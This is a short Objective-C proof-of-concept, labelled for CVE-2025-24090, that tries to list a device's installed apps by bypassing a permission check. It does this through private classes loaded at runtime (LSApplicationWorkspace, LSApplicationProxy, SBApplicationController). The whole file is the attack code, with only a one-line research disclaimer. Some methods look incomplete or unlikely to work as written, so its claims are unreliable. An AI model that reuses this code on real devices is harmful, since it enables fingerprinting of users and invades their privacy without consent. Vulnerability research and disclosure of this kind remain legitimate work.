CVE-2025-24090

// CVE-2025-24090 PoC - Application Enumeration // This PoC demonstrates the permission bypass vulnerability // Note: This is for educational and security research purposes only // Method 1: Using LSApplicationWorkspace (Private API) #import <Foundation/Foundation.h> @interface LSApplicationWorkspace : NSObject + (id)defaultWorkspace; - (NSArray *)allInstalledApplications; - (NSArray *)applicationsWithBundleIdentifiers:(NSArray *)bundleIDs; @end void enumerateAppsMethod1() { // Bypassing permission check to enumerate installed apps Class workspaceClass = NSClassFromString(@"LSApplicationWorkspace"); if (workspaceClass) { id workspace = [workspaceClass performSelector:@selector(defaultWorkspace)]; NSArray *apps = [workspace performSelector:@selector(allInstalledApplications)]; NSLog(@"Enumerated %lu apps", (unsigned long)[apps count]); for (id app in apps) { NSLog(@"App: %@", app); } } } // Method 2: Using applicationListing property void enumerateAppsMethod2() { Class lsAppClass = NSClassFromString(@"LSApplicationProxy"); if (lsAppClass) { // Attempt to access private APIs SEL selector = NSSelectorFromString(@"applicationListing"); if ([lsAppClass respondsToSelector:selector]) { NSLog(@"Vulnerable API accessible"); } } } // Method 3: Using SpringBoard private framework void enumerateViaSpringBoard() { // Access SpringBoard services through XPC Class sbClass = NSClassFromString(@"SBApplicationController"); if (sbClass) { // Bypass permission check id controller = [sbClass sharedInstance]; NSArray *installedApps = [controller valueForKeyPath:@"allApplications"]; NSLog(@"Found %lu applications", (unsigned long)[installedApps count]); } } int main() { @autoreleasepool { enumerateAppsMethod1(); enumerateAppsMethod2(); enumerateViaSpringBoard(); } return 0; }

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